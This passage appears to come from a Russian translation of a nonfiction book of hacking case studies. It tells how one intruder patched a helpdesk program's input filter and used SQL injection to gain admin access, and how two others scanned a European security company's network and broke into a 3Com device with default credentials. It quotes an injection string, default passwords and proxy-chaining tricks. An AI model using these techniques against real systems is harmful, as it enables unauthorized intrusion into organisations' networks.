Приложение helpdesk состоит из одного исполняемого файла и файла библиотеки динамических связей ( D L L ) (файлы с расширением .DLL содержат набор функций Windows, которые может вызывать приложение).
Имея возможность загружать сайты в корневую директорию Интернет-сайта, атакующий может легко загрузить туда простую программку, которая даст возможность хакеру выполнять команды через свой браузер. Но Роберт был не простым хакером. Он гордился собой, потому что он был невидим и практически не оставлял следов в записях Интернет-сервера. Вместо простой загрузки на сервер переделанной программы, он перегружал на свой компьютер файлы helpdesk.exe и helpdesk.dll, чтобы понять, как работают эти приложения, полагаясь на свой опыт и знания. «Я проделал массу работы по обратной инженерии приложений и изучению программ, написанных на ассемблере, поэтому я знаю, как разбираться в скомпилированном с языка С коде и переводить его обратно на ассемблер».
Программа, которой он пользовался, называлась I D A Pro, интерактивный «дисассемблер» (ее продают на сайте  http://www.ccso.com  ), ей пользовались по его словам «многие компании, занимающиеся вирусами и охотой на вирусных червей, которым нужно декомпилировать некоторые тексты до уровня ассемблера, а потом разобраться в том, что они делают». Он декомпилировал helpdesk.exe и, одобрил работу, выполненную профессиональными программистами, решив, что она «написана вполне прилично».
  ИЗ   МЕШКА   ХАКЕРСКИХ   ШТУЧЕК  :   АТАКА   S  Q  L   INJECTION
После того, как он декомпилировал программу, Роберт обратился к изучению кода, чтобы понять, будет ли приложение helpdesk подвержено SQL injection, методу атаки, который использует распространенную компьютерную оплошность. Программист, думающий о безопасности системы, постарается отфильтровать все запросы внешних пользователей, в которых встречаются такие символы, как «апостроф», «знак цитирования», «больше» и «меньше». Если не отбрасывать программы с подобными символами, то злонамеренный пользователь может обмануть приложение и проникнуть в систему.
Роберт выяснил, что приложение helpdesk проводит необходимые проверки на подобные символы, чтобы помешать хакерам использовать SQL injection. Большинство хакеров перегрузили бы программу ASP на Интернет-сервер и использовали бы ее, но не Роберт! У него были более обширные планы, чем использовать простейшую лазейку для проникновения в свою мишенью.
«Я подумал: „Ситуация выглядит очень забавной, и надо получить от нее максимум удовольствия“.
Я сказал себе: «Хорошо, я использую SQL-injection, слегка подправив проверку на достоверность». Я нашел строку, где содержался список недопустимых символов, и изменил ее. По-моему, в список входило «подчеркивание», или что-то похожее, чего я не должен был использовать, но в то же время его отсутствие ни на что не влияло».
Другими словами, он немного видоизменил программу (используя цифровой редактор для взлома программы, которая должна была проверять символы), так что определенные специальные символы больше не отвергались. После этого он мог незаметно производить SQL-injection, не влияя на всю структуру работы приложения для всех остальных. Еще одним преимуществом такого развития событий было то, что администратор, скорее всего, не стал бы проверять сохранность приложения helpdesk, поскольку не было никаких сигналов о том, что оно взломано.
Далее Роберт послал модифицированную версию приложения helpdesk на Интернет-сервер, заменив им оригинальную версию. Подобно тому, как некоторые люди любят привозить марки, открытки или спичечные коробки с видами тех мест, где они побывали, хакеры иногда хранят не только полученную добычу, но и тексты программ, которые они использовали в своей работе. У Роберта до сих пор хранится текст той программы в двоичном скомпилированном виде.
Поскольку он работал из дома (дело рискованное, если вы только сознательно не хотите попасться), то свою «новую и улучшенную» версию приложения helpdesk он загружал через целую цепь промежуточных прокси-серверов (это серверы, работающие посредниками между компьютером пользователя и компьютером, в который он стремится проникнуть). Если пользователь делает запрос о ресурсе с компьютера «А» , этот запрос направляется на прокси-сервер, который в свою очередь делает запрос и получает ответ от компьютера «А», а потом уже переправляет его клиенту.
Прокси-серверы обычно используются для доступа к ресурсам Интернета из-за межсетевого экрана. Роберт повысил степень своей безопасности, используя несколько прокси-серверов, расположенных в различных частях мира, чтобы снизить вероятность быть пойманным. Так называемые «открытые прокси-серверы» обычно используются для того, чтобы замаскировать место, откуда исходит кибератака.
При помощи модифицированной версии приложения helpdesk, загруженного на компьютер и запущенного, Роберт соединился с сайтом-мишенью, использующим Интернет-браузер. Когда перед ним появилась входная форма с запросом имени пользователя и пароля, он запустил атаку SQL injection, как и планировал. В нормальном режиме, после того как пользователь введет свои имя и пароль — скажем, «davids» и «zl8M296q» — приложение использует эти входные данные для того, чтобы сгенерировать такую SQL-команду:
  select record from users where user = 'davids'   and password = 'z18M296q'
Если поле пользователя и поле пароля будут соответствовать информации в базе данных, тогда пользователя пускают в систему. Таким образом, все должно работать в нормальном режиме. А вот как проходила атака Роберта SQL-injection: в разделе для имени пользователя он написал — "  or  where  password  like  "%
Для пароля он ввел аналогичную строку
"  or  where  password  like  "%
Приложение использует эти входы и генерирует такую SQL-ко-манду:
  select record from users where user = " or where password like '%' and password  =  "or where password like '%'
Элемент строки  or  where  password  like  % говорит SQL принять запись, если пароль  что угодно  ( " % " — это пустышка). Обнаружив, что пароль удовлетворяет этому дикому условию, приложение впускает Роберта, как вполне законного пользователя, как если бы он ввел данные о законной авторизации. Система впускает его и связывает с данными первого пользователя в базе данных, которым обычно бывает администратор. Так и оказалось в нашем конкретном случае. Роберт не только вошел в систему, но и получил привилегии администратора.
Отсюда он получил возможность увидеть переписку всех сотрудников или авторизованных пользователей после успешного входа в систему. Просмотрев несколько таких посланий, он извлек из них информацию о номерах телефонов dial-up для соединения с сетью, а также адреса гиперлинков для добавления и удаления пользователей из внутренней защищенной сети. Компания использовала VPN-сервер Microsoft, который настраивается таким образом, что сотрудники используют их имена и пароли для Windows, чтобы войти в него. Поскольку Роберт находился в приложении helpdesk с привилегией администратора, он получил возможность добавлять пользователей в VPN-группу и изменять их пароли для компьютеров, работающих в ОС Windows.
Дело продвигалось не быстро. Несмотря на то, что он находился в приложении с привилегиями администратора, это ни на шаг не приблизило его к кодам программы. Следующей целью Роберта стала попытка получить доступ к их внутренней сети через настройки VPN.
В качестве проверки, через меню helpdesk он попытался изменить пароль одного из «спящих» аккаунтов (в этом случае его активность было труднее заметить сразу) и добавить его в группу администратора. Он выяснил, как устроена V P N и «попробовал команду VPNin. Все было хорошо, но работало медленно».
«Я проник внутрь примерно в час ночи. Поскольку я находился в Австралии, разница во времени играла мне на руку, в Америке был час ночи, а в Австралии — разгар рабочего дня. Я хотел войти в сеть, когда там наверняка никого нет, и не хотел, чтобы кто-нибудь зашел и заметил меня. Может быть, у них надо было писать отчет о каждом таком случае. Я хотел быть спокоен».
Роберт считает, что он понимает, как работают люди, занимающиеся безопасностью информационных технологий, поскольку они не слишком отличаются от остальных людей, «Единственный способ заметить меня для них были регулярные проверки записей о всей активности в сети». Его мнение о людях, занимающихся ИТ и безопасностью, как минимум, не восторженное. «Поверьте, люди не просматривают подобные записи каждое утро. Когда они садятся за свой компьютер, они берут чашечку кофе и читают последние новости в Интернете. Это гораздо интереснее, чем бросаться проверять, не изменил ли кто-нибудь вчера их пароли».
За время своих хакерских попыток Роберт понял: «когда вы меняете что-то на сайте, люди либо замечают это сразу, либо не замечают никогда. Изменения, сделанные мной, можно было заметить только в том случае, если запускать специальную программу типа Tripware». Роберт имеет в виду приложение, которое проверяет целостность системы и ее приложений, производя вычисление криптографических проверочных сумм и сравнение их с таблицей известных значений. «Тогда они заметили бы, что программа была изменена».
В этом он был абсолютно убежден и употреблял специальный термин «М&М-безопасность» — жесткая на вид и мягкая на самом деле. «В обычных условиях никто не беспокоится о наличии хакера в их сети, потому что они находятся внутри системы. После того, как вам удалось проникнуть внутрь тщательно охраняемого периметра, вы можете чувствовать себя практически, как у себя дома». (Эта фраза означает, что после проникновения хакера в систему и использования им внутренних ресурсов от имени какого-то авторизованного пользователя, очень трудно понять, что это чужеродная активность).
Он обнаружил, что аккаунт пользователя, в который он проник (изменив пароль) через приложение helpdesk, позволил ему проникнуть в сеть через сервис Microsoft VPN. После этого его компьютер соединился с внутренней сетью компании так, как если бы он использовал компьютер, физически включенный в сеть в помещениях компании.
Итак, он прилагал все усилия для того, чтобы не оставить следов, которые внимательный системный администратор мог бы заметить, и уйти «без шума и пыли».
После соединения с внутренней сетью Роберт определил имена компьютеров, работающих под Windows и их IP-адреса, находя компьютеры с именами FINANCE, BACKUP2, WEB и HELPDESK. Он обнаружил и другие — с именами людей, это были компьютеры отдельных пользователей. Он шел по пути уже не раз описанному другими людьми на этих страницах.
По поводу имен серверов можно сказать, что у кого-то в компании было специфическое чувство юмора, достаточно распространенное на рынке высоких технологий. Все началось еще во времена расцвета компании Apple Computer. Стив Джобс, известный своими удивительными творческими способностями и манерой нарушать все традиции и правила, решил, что комнаты для переговоров в зданиях компании не будут носить обыденные и скучные номера вроде 212А или «комната для переговоров шестого этажа». Вместо этого он назвал их именами героев мультфильмов в одном здании, именами кинозвезд — в другом, и так далее. Роберт обнаружил, что компания, в которую он проник, сделала нечто подобное с некоторыми серверами: помимо того, что она имела отношение к индустрии анимационных фильмов, она и имена серверов выбрала среди известных муль-тяшных персонажей.
Но его привлек сервер с достаточно обычным названием — Backup2. Именно на нем он обнаружил жемчужное зерно: сетевую директорию под именем Johny, где один из сотрудников хранил копии своих файлов. Похоже, что этот сотрудник чувствовал себя достаточно свободно и мало заботился о безопасности. Среди файлов этой директории была и копия его почтовой директории, где находились все его письма. (Под сетевой директорией здесь подразумевается жесткий диск или часть диска, которая специально сконфигурирована так, что позволяет обеспечить доступ к своим файлам различным пользователям).

Глава 9.
  На   континенте

Вначале вы видите лишь клоч к иинформации и то, как устроены те или иные вещи, и постепенно у вас начинает зарождаться понимание всей структуры компании и мировоззрения людей, ответственных за организацию ИТ-системы. Начинаешь постигать, что они знают о безопасности, и что они для нее делают.
Луис

В начале предыдущей главы мы предостерегали читателей, что людям без технического образования будет трудно воспринять некоторые ее части. Это еще более справедливо для этой главы. Но советую вам все же прочитать ее. поскольку история просто удивительная. И суть ее вполне можно понять, опуская сложные технические детали.
  ГДЕ  -  ТО   В   ЛОНДОНЕ
Итак — мы находимся где-то в лондонском Сити.
Картина следующая: большая комната без окон в глубине здания, где тусуется технический персонал. Прекрасная иллюстрация для историй о «хакерах, как о существах, далеких от общества и не связанных с ним», работающих каждый за собственным компьютером и связанных друг с другом только «в удаленном доступе».
Давайте назовем одного из них Луисом. Он вырос в маленьком городке в северной Англии и начал общаться с компьютером в возрасте семи лет, когда его родители купили «какое-то старое железо», чтобы дети получили представление о современной технологии. Он начал заниматься хакерством еще в школе, когда случайно обнаружил список всех пользователей и их паролей, и его любопытство впервые зашевелилось. Этим первым хакерским опытом он нажил себе большие проблемы, так как один из студентов старших курсов («префект» по английской терминологии) поймал Луиса. Но эта неудача не отвратила его от компьютерных секретов.
Теперь высокого темноволосого взрослого Луиса больше не волнуют достижения в «самых английских видах спорта» — крикете и футболе, которые так занимали его, когда он был школяром.
  ПОГРУЖЕНИЕ
Некоторое время тому назад Луис со своим приятелем Броком занимались совместным проектом. Их мишенью была компания, расположенная где-то в Европе — компания, занимающаяся безопасностью, перевозящая большие суммы денег, а также и заключенных из тюрьмы в суд и обратно, и из одной тюрьмы в другую. ( Т о , что одна и та же компания занимается перевозкой денег и заключенных, необычно для американцев, но это вполне общепринято в Европе и в Англии).
Любая компания, которая объявляет, что занимается чем-то, связанным с безопасностью, берет на себя большую ответственность. Если они занимаются безопасностью, означает ли это, что хакеры не могут взломать их систему? Для любой группы ребят с хакерским менталитетом подобная декларация звучит как вызов, особенно, если вначале у ребят нет ничего, кроме названия компании.
«Мы относились к этому, как к проблеме, которая должна быть решена. Поэтому сначала мы должны были отыскать как можно больше информации об этой компании», — говорит Луис. Они начали с того, что стали искать упоминания о компании в Google, используя Google даже для перевода текстов, поскольку никто из них не говорил на языке той страны, где была расположена их мишень.
Автоматический перевод давал им вполне достаточное представление о том, чем занимается компания и насколько велик ее бизнес. Но им было непросто организовывать атаки социальной инженерии из-за языкового барьера.
Они смогли определить общедоступные IР-адреса компании для Интернет-сайта и почтового сервера из европейского регистра IP-ад-ресов (RIPE), аналогичного A R I N в США.
(ARIN — American Registry of Internet Numbers — американский регистр Интернет-адресов — это организация, которая управляет номерами IP-адресов для США и примыкающих к ним стран. Поскольку Интернет-адреса должны быть уникальными, должна существовать специальная организация, которая будет следить за этим и выделять компаниям блоки IP-адресов. RIPE — Reseaux IP Europeens — организация, распределяющая номера IP-адресов для Европы).
Они поняли, что хостингом внешнего сайта занималась специальная компания. Но IP-адрес их почтового сервера был зарегистрирован на саму компанию и располагался внутри их корпоративных адресов. Поэтому наши ребята могли запросить DNS компании и получить IP-адреса, проверяя записи обмена письмами.
Луис попробовал применить технику посылки электронной почты на несуществующий адрес. Вернувшееся к нему письмо с уведомлением о том, что оно не может быть доставлено, могло содержать в своем заголовке некоторые IP-адреса компании и некоторую информацию о маршруте доставки электронной почты.
Однако в нашем случае Луис получил ответ от внешнего почтового ящика компании, поэтому в нем не содержалось никакой полезной для него информации.
Брок и Луис понимали, что их жизнь стала бы легче, если бы у компании был собственный Domain Name Server. В этом случае они могли бы сделать запросы, чтобы попытаться получить больше сведений о внутренней сети компании или использовать какие-то лазейки, связанные с конкретной версией DNS. Им не повезло: DNS компании был расположен у местного Интернет-провайдера.
  ОПРЕДЕЛЕНИЕ   СТРУКТУРЫ   СЕТИ
В качестве следующего шага Луис и Брок использовали обратное сканирование DNS, чтобы получить имена узлов различных систем, расположенных в диапазоне IP-адресов компании (как уже не раз объяснялось в главе 4 и других местах). Чтобы сделать это, Луис использовал «просто текст REFL», который написали сами ребята. (Обычно атакующие используют имеющееся в наличии ПО для обратного DNS-сканирования, например, такое, как на сайте  http://www.samspade.org  ).
Они заметили, что «от некоторых систем компании к ним возвращалось достаточно много информативных имен», которые служили ключом к тому, кто какие функции выполняет внутри компании. Это давало также некоторое представление о стиле мышления сотрудников ИТ-департамента компании. «Выглядело так, как будто администратор не полностью контролирует всю информацию о своей сети, а это был первый ответ на вопрос: смогут ли они проникнуть внутрь или нет». По мнению Брока и Луиса, полученные сведения давали основания для оптимизма.
Это один из примеров того, как кроме чисто технических методов проникновения хакеры занимаются и своеобразным психоанализом, стараясь проникнуть в головы администраторов и понять, как они создавали свою сеть. Для наших конкретных атакующих «это было основано частично на уже имеющемся у нас знании о сетях и компаниях, которые мы уже видели в европейский странах, на наших ИТ-знаниях и на том факте, что в этой стране люди отставали от Англии на год-полтора».
  ОПРЕДЕЛЕНИЕ   МАРШРУТИЗАТОРА
Они анализировали сеть, используя обычный метод отслеживания путей UNIX, который показывает число маршрутизаторов, через которые прошли пакеты данных к определенной цели; на жаргоне это называется числом «скачков». Они проанализировали подобные пути для почтового сервера и для пограничного межсетевого экрана. Отслеживание путей показало им, что почтовый сервер находится на один скачок за межсетевым экраном.
Эта информация дала понять, что почтовый сервер либо находится в DMZ, либо все системы за межсетевым экраном расположены в одной сети. (DMZ — это так называемая демилитаризованная зон а — электронная область, где нет людей, расположенная между двумя межсетевыми экранами и обычно доступная как из внутренней сети, так и из Интернета. Цель DMZ состоит в защите внутренней сети на тот случай, если какая-то из систем, доступная из Интернета, будет взломана).
Они знали, что у почтового сервера открыт порт 25 и, проделав traceout, поняли, что могут проникнуть через межсетевой экран для связи с почтовым сервером. «Вначале нам показалось, что мы сбились с пути, но потом мы быстро поняли, что перескочили маршрутизатор, и находимся уже за межсетевым экраном, а еще на один скачок за ним мы увидели почтовый сервер, и мы начали понимать, как устроена сеть».
Луис говорил, что они часто начинают свою атаку с проверки нескольких общедоступных портов, которые, как известно, остаются открытыми для межсетевого экрана: среди них он называл порт 53 (используемый Domain Name Service); порт 25 (почтовый сервер SMTP); порт 21 (FTP); порт 23 (telnet); порт 80 (HTTP); порты 139 и 445 (оба используются для NetBIOS в различных версиях Windows).
«Перед тем, как проводить сканирование портов, мы очень точно убедились, что имеем список узлов для атаки, в котором нет неиспользуемых IP-адресов. На самом начальном этапе надо иметь список реальных мишеней, а не перебирать все IP-адреса слепо. После перечисления потенциальных мишеней мы поняли, что есть пять-шесть систем, которыми имеет смысл заниматься и дальше».
Они обнаружили только три открытых порта: почтовый сервер, Интернет-сервер со всеми установленными заплатками в системе безопасности, которые на самом деле даже не использовались и telnet на порте 23. Когда они пытались проникнуть в систему через telnet, то всегда получали типичный для оборудования компании Cisco ответ «Проверка права доступа», Таким образом, единственное, что им удалось узнать на этом этапе, это тип маршрутизатора.
Луис знал из своего опыта, что пароль на маршрутизаторах Cisco часто устанавливался каким-то очевидным. « Н а этот раз мы попробовали три разных пароля „имя компании“, „blank“ и „Cisco“, но не смогли проникнуть в маршрутизатор. Поэтому, чтобы не создавать лишнего шума, мы решили прекратить попытки проникновения через эту услугу».
Они попробовали просканировать устройство Cisco на предмет открытых общеизвестных портов, но не смогли никуда попасть. «Итак, в первый день нашей работы мы потратили много времени и сил на изучение компании и ее сети и начали первичное сканирование некоторых портов. Не могу сказать, что мы были готовы отказаться от своей затеи, поскольку у нас в запасе еще было несколько приемов, которые мы всегда пробовали в своей практике перед тем, как прекращали атаку».
В общем, все, что они сделали за первый день, это идентифицировали один маршрутизатор.
  ДЕНЬ   ВТОРОЙ
Настал второй день и Луис и Брок решили н а ч а т ь более интенсивное сканирование портов. Вот что рассказывает Луис, используя термин «услуги» для обозначения открытых портов.
«В этот момент мы думали о том, что надо найти больше услуг на этих компьютерах. Поэтому мы несколько изменили стратегию атаки и решили поискать их более тщательно. Мы расширили объем поисков, чтобы отыскать что-нибудь, что помогло бы нам проникнуть в сеть. Мы видели, что у них стоял межсетевой экран с очень хорошей фильтрацией. Мы искали в нем хотя бы небольшую ошибку или неправильную конфигурацию».
Затем, используя программу Nmap — стандартное средство для сканирования портов — они проделали сканирование набора услуг при помощи файла, который просматривал каждый из 1600 портов; и опять не нашли ничего интересного.
«Итак, мы провели максимально полное сканирование, проверив маршрутизатор и почтовые сервера». Максимально полное означает проверку более 65 т ы с я ч портов. « М ы проверили к а ж д ы й ТСР-порт и искали возможные услуги на таких портах, которые были в нашем списке».
Наконец они нашли нечто интересное, немного странное и поставившее их в тупик.
Порт 4065 был открыт. Странно было, что порт с таким большим номером используется. Луис о б ъ я с н я е т : « М ы подумали, что, может быть, они сконфигурировали telnet на этот порт. Поэтому мы послали telnet-сигнал на этот порт и стали ждать отклика». (Telnet — это протокол для удаленного управления компьютером в любом месте Интернета). Используя telnet, Луис присоединялся к удаленному порту, который воспринимал команды от его компьютера и отвечал на них так, что ответы попадали на экран компьютера Луиса.
Когда они попытались соединиться, то в ответ получили запрос имени пользователя и логина. Итак, они оказались правы в том, что порт использовался для telnet-соединений, но появившееся диалоговое окно для авторизации пользователя очень отличалось от того, что обычно появляется на оборудовании компании Cisco. «Через некоторое время мы поняли, что это был маршрутизатор компании 3Com. Это несколько смутило нас, поскольку не так часто попадается устройство, которое выглядит, как совсем другое устройство, да еще при этом предлагает услугу в порте с очень большим номером». То, что telnet работает через порт 4065 при помощи устройства компании 3Com, выглядело какой-то бессмыслицей.
«Мы видели, что на устройстве открыты два порта, но они идентифицировали себя, как совершенно разные устройства, изготовленные различными производителями оборудования».
Брок отыскал этот TCP-порт с большим номером и присоединился к нему при помощи telnet. «После того, как он получил запрос на имя пользователя, он ввел „admin“ и начал пробовать такие простейшие пароли, как „password“, „admin“, „blank“. Ему повезло буквально через несколько попыток: имя пользователя и пароль на устройстве 3Com были одинаковыми — „admin“. „В это мгновение он заорал, что все-таки проник“, — вспоминает Луис, что означало, что они получили через telnet доступ к устройству 3Com. Особенно приятным было то, что это оказалась директория администратора.
«То, что мы отгадали пароль, был наш первый крупный успех в этой работе. Далее все шло по обычной схеме. Мы работали на разных машинах. Вначале мы проводили сканирование сети независимо и обменивались результатами. Но после того, как мы обнаружили возможность доступа через конкретный порт, я перешел на его машину и мы начали работать вместе на одном и том же компьютере.
Это было прекрасно. Мы вошли в устройство 3Com и получили полный доступ к нему, а может — и широкую улицу к другим достижениям. Прежде всего мы хотели понять, что это за устройство и почему доступ к нему реализован через порт с таким большим номером на маршрутизаторе Cisco».
При помощи командной строки они смогли запросить информацию об устройстве. « М ы подумали, что, может быть, кто-то включил кабель управляющей консоли от устройства 3Com в устройство Cisco, и именно этим вызван неадекватный доступ». Это походило на правду, поскольку таким способом сотрудники могли подключиться через telnet к устройству 3Com через маршрутизатор. «Может быть, у них был дефицит мониторов или клавиатур в их компьютерном центре, — гадал Луис, — и они использовали нестандартный кабель в качестве временной меры». А потом администратор просто забыл об этом, как говорит Луис, «совершенно не думая о последствиях своих действий».
  ИЗУЧЕНИЕ   КОНФИГУРАЦИИ УСТРОЙСТВА   3Com
Наши герои поняли, что устройство 3Com расположено за межсетевым экраном и что ошибка администратора предоставила им неожиданный кружной путь, позволяющий атакующим соединиться с портом с большим номером в обход межсетевого экрана.
Теперь, имея доступ к панели управления 3Com, они стали искать записи о конфигурации, включая и то, какие устройства с какими IP-адресами соединены, и какие протоколы используются для реализации локальной сети. Они обнаружили, что устройство находится в том же диапазоне адресов, что и почтовый сервер, и вне внутреннего межсетевого э к р а н а , в DMZ. « М ы сделали вывод, что устройство находится под защитой межсетевого экрана и защищено от подключений из Интернета неизвестным нам набором фильтров».
Они попытались определить конфигурацию самого устройства, чтобы понять, как устанавливаются входящие соединения, но через имеющийся интерфейс они не смогли получить нужной информации. Они продолжали размышлять, почему, когда пользователь соединялся с портом 4065 в маршрутизаторе Cisco из любого места Интернета, соединение происходило с устройством 3Com, которое было включено в маршрутизатор Cisco.
«В этот момент мы были почти уверены, что получим доступ ко входам в с е т ь и проберемся в ее сердцевину. Мы находились в прекрасном настроении, но, как говорится, были порядком утомлены, поскольку интенсивно работали в течение двух дней.
Мы отправились в пивную, чтобы обсудить, как сделать следующие дни не менее удачными, поскольку мы собирались начать просматривать конкретные системы и проникать вглубь сети».
Продолжая думать все о том же устройстве 3Com, они установили режим записи активности управляющей консоли. Если что-то случится ночью, то они увидят все сделанное следующим утром…
  ТРЕТИЙ   ДЕНЬ
Когда Брок просматривал эти записи на следующий день, то обнаружил, что там появлялись различные IP-адреса. Луис поясняет: «после более пристального изучения устройства 3Com мы поняли, что это была разновидность VPN, которую удаленные пользователи использовали для соединения с сетью компании из любого м е с т а Интернета. В этот момент мы были уверены, что попадем в сеть тем же путем, как это делают авторизованные пользователи».
Они попытались установить свой личный VPN-интерфейс на устройстве 3Com, напечатав другой интерфейс в диалоговом окне 3Com с другим IP-адресом, одним из тех, что межсетевой экран наверняка бы не отфильтровал.
Это не сработало. Они обнаружили, что устройство не может быть сконфигурировано без нарушения существующей системы услуг. Они не могли создать новую VPN-систему, поскольку архитектура устройства была такова, что их возможные действия в нем были весьма ограничены.
«Наши надежды на быстрый доступ внутрь сети быстро таяли. Мы расстроились и притихли. Но это была лишь одна из наших первых попыток, и просто обязан был существовать еще один путь. У нас был сильный стимул, ведь доступ к одному из устройств — это хороший плацдарм для атаки. Просто надо было работать интенсивнее».
Они находились в DMZ сети компании, но когда попытались соединиться оттуда со своим компьютером, им это не удалось. Они хотели выяснить, какие системы присутствуют в сети (так называемый ping), но сделать это из устройства 3Com за межсетевым экраном, чтобы расширить свой список возможных мишеней для атаки. Если бы там были какие-нибудь адреса устройств в оперативной памяти, это означало бы, что какое-то устройство блокирует доступ к протоколам самого высокого уровня. «После нескольких попыток», — говорит Луис, «мы обнаружили входы в оперативную ARP-памятъ, указывающую на то, что некоторые компьютеры сообщают свои адреса». (ARP — Adress Resolution Protocol — это метод для обнаружения адресов узлов. Каждый узел держит в буфере набор адресов, которые через него прошли, чтобы ускорить передачу пакетов данных).
В домене определенно были другие компьютеры, «но на запрос ping они не давали ответа, что было классическим признаком межсетевого экрана. Для тех, кто не знаком с техникой „pinging“, это техника сканирования сети, которая состоит в передаче пакетов определенного типа (ICMP) на компьютер-мишень, чтобы определить — включен он или нет. Если узел работает, то он отвечает своеобразным пакетом ICMP-echo. Это только подтвердило наши подозрения, что есть еще один межсетевой экран и еще один уровень безопасности между устройством 3Com и их внутренней сетью». Луис почувствовал, что они зашли в тупик.
«Мы получили доступ к их VPN-устройству, но не могли с его помощью создать собственную VPN-сеть. Н а ш энтузиазм начал снижаться. Появилось ощущение, что проникнуть в эту сеть будет не так-то просто. Необходим был „мозговой штурм“ для свежих идей».
Они решили исследовать IP-адреса, которые нашли в записи об активности консоли. « М ы решили посмотреть, кто же соединяется с нашим устройством 3Com удаленно, поскольку, если вам удается проникнуть в устройство, то вы можете перехватить его соединения». Или же они могли получить там необходимую для авторизации информацию, которая помогла бы им выдать себя за законных пользователей.
Они знали определенный набор фильтров, говорит Луис, и искали пути обхода этих фильтров в межсетевом экране. Он надеялся на то, что они смогут «найти защищенную систему, в которую им удастся проникнуть через межсетевой экран. Нас очень интересовали IP-ад-реса».
Когда они соединялись с консолью системы 3Com, объясняет он, при соединении с ней удаленного пользователя или изменении конфигурации на экране появлялось соответствующее сообщение. « М ы могли видеть все соединения, идущие на этот IP-адрес».
Они увидели там и информацию об организациях, которым принадлежали эти адреса. Там имелась и контактная информация административного и технического персонала, отвечающего за сети этих организаций. Используя эти адреса, они опять обратились к регистрационной базе данных на RIPE, которая предоставила им информацию о том, на какую компанию зарегистрированы эти IP-адреса.
Их ждал еще один сюрприз. « М ы обнаружили, что адреса зарегистрированы на крупного телекоммуникационного провайдера в той стране. Тогда еще у нас не складывалась общая картина, мы не могли понять, что означают эти IP-адреса и зачем люди из телекома соединяются с этим устройством», — рассказывает Луис, используя английский термин «telecom» для того, что чаще называется Интернет сервис-провайдерами. И они задумались, а что, если VPN —соединения могут исходить и от удаленных пользователей компании, или от чего-то такого, что им вообще трудно было себе представить.
«Пришла пора нам сесть и очень серьезно задуматься о происходящем. Нам просто необходимо было увязать воедино все кусочки картины, имевшиеся в нашем распоряжении, чтобы понять хоть что-нибудь. Наши надежды пока не сбывались. Мы получили доступ в систему, но продвинуться дальше не смогли, и вообще не достигли за день никакого прогресса. Но, вместо того, чтобы пойти домой, и попытать счастья на следующее утро, мы решили пойти в пивную, выпить, расслабиться и прочистить свои головы перед тем, как отправиться домой на общественном транспорте.
Б ы л а ранняя весна, морозец еще пощипывал щеки. Мы вышли из офиса и завернули за угол, где располагался тихий и спокойный, традиционный английский паб.
Я пил темное пиво, а Брок — персиковую водку с лимонадом — очень славная выпивка, всем рекомендую попробовать. Мы просто сидели там, трепались и размышляли, почему за день нам не удалось сделать все, что мы намечали. После первого стакана мы успокоились и достали листок и наши авторучки. Мы начали выдвигать идеи о том, что делать дальше.
Много чего мы н а м е т и л и в т о т вечер, поэтому, в е р н у в ш и с ь н а з а в т р а к компьютерам, мы смогли быстро с е с т ь и начать работать. Мы зафиксировали все, что нам было известно о структуре сети, и попытались понять, каким пользователям нужен доступ к VPN, где физически расположена система, и реконструировать возможные идеи авторов системы при создании службы удаленного доступа к ней.
Мы попытались нарисовать все, что знали о системе, а также и других системах, которые были с ней связаны. Прежде всего мы хотели понять, где в сети расположено пресловутое устройство 3Com. В нижней части рисунка мы нарисовали много квадратиков. По нашему мнению, такие люди, как курьеры и водители должны были иметь доступ к некоторым частям системы. И все же мы не были уверены в этом».
Луис пытался понять, кто, кроме сотрудников компании, может нуждаться в доступе к ней. Они имели дело с компанией, которая заслуженно гордилась своими технологическими инновациями. поэтому Луис и Брок подумали, что, может быть, в ней разработали «какое-то действительно мощное приложение», которое позволяло бы курьерам входить в систему после доставки товара, а затем получать следующее задание. Это приложение могло быть специально защищено от всевозможных ошибок и дурацких действий. Может быть, водителю достаточно было подвести мышкой курсор к иконке, чтобы дать сигнал приложению соединиться с сервером и получить следующий маршрутный лист.
«Мы думали о том, что эти самые водители не могут быть экспертами в компьютерной области, поэтому система должна быть очень простой в общении. Мы начали думать об этом с точки зрения бизнеса: какую систему просто установить, просто поддерживать и в то же время обеспечивать ее безопасность?»
Они начали думать о системе связи dial-up, «скорее всего с ноутбука в кабине автомобиля в распоряжении водителя». Тут два варианта: либо компания сама занимается хостингом, — тогда адреса серверов уже в нашем распоряжении, либо отдает их на сортировку кому-то еще. Можно предположить, что этим «кем-то» является телекоммуникационная компания, следы которой мы заметили в своих записях. Мы предположили, что именно с ней связь организуется из Интернета через VPN-канал». Это укладывалось в схему, по которой водители звонят в эту телекоммуникационную компанию и авторизуются перед тем, как их допустят до соединения с сетью компании-мишени.
Но была и еще одна возможность, продолжает Луис. «Мы продолжали размышлять: „Давай посмотрим, сможем ли мы создать такую архитектуру, в которой парень из грузовика соединялся бы через dial-up с системой, проходил бы там авторизацию и авторизовался бы системой компании, а не провайдером телекоммуникационных услуг. Как можно организовать в такой компании VPN, чтобы любая информация от водителя добиралась до основной компании и не была бы расшифрована в Интернете?“
Они подумали и о том, как решает компания проблему авторизации пользователей. Если курьер должен соединяться с одной из систем, расположенных в телекоммуникационной компании и авторизоваться в ней, тогда и услуги авторизации должны отдаваться на аутсорсинг. Решение могло быть другим, если бы верным оказалось предположение о том, что компания осуществляет хостинг сама, а не у провайдера Интернет-услуг.
Часто задача авторизации передается отдельному серверу, который выполняет эту функцию. Вполне возможно, устройство 3Com использовалось для доступа к идентификационному серверу внутренней сети компании-мишени. Звоня с сотового модема, водитель соединялся с Интернет-провайдером, а затем переадресовывался на устройство 3Com, где его имя пользователя и пароль посылались на другой сервер для авторизации.
Итак, на этом этапе их рабочая гипотеза заключалась в том, что при инициации dial-up соединения устанавливается VPN-соединение между инициатором и устройством 3COM.
Луис и Брок догадывались, что для получения доступа к внутренней сети надо получить доступ к ISP, с которыми и соединяются водители машин. Однако, «мы не знали номера dial-up этих устройств. Они были расположены в незнакомой стране, и мы не знали, что это за телефонные линии, и как получить эту информацию самостоятельно. Мы знали только то, что тип протокола, используемого в V P N , был PPTP». А это было важно, потому что установленный « п о умолчанию» Microsoft V P N сохраняет в своей п а м я т и логин и пароль тех, кто с ним соединялся.
К тому времени, когда они это поняли, они уже порядком выпили и решили «пойти напролом».
«В этот момент мы подумали, что хорошо бы сохранить листок бумаги, на котором мы записывали все результаты нашего „мозгового штурма“, поскольку, если мы все же прорвемся внутрь системы, то этот листок будет уникальным экспонатом. Мы оба были просто горды друг другом за то, что мы смогли придумать».
  КОЕ  -  ЧТО   ОБ   ИНТУИЦИИ   ХАКЕРА
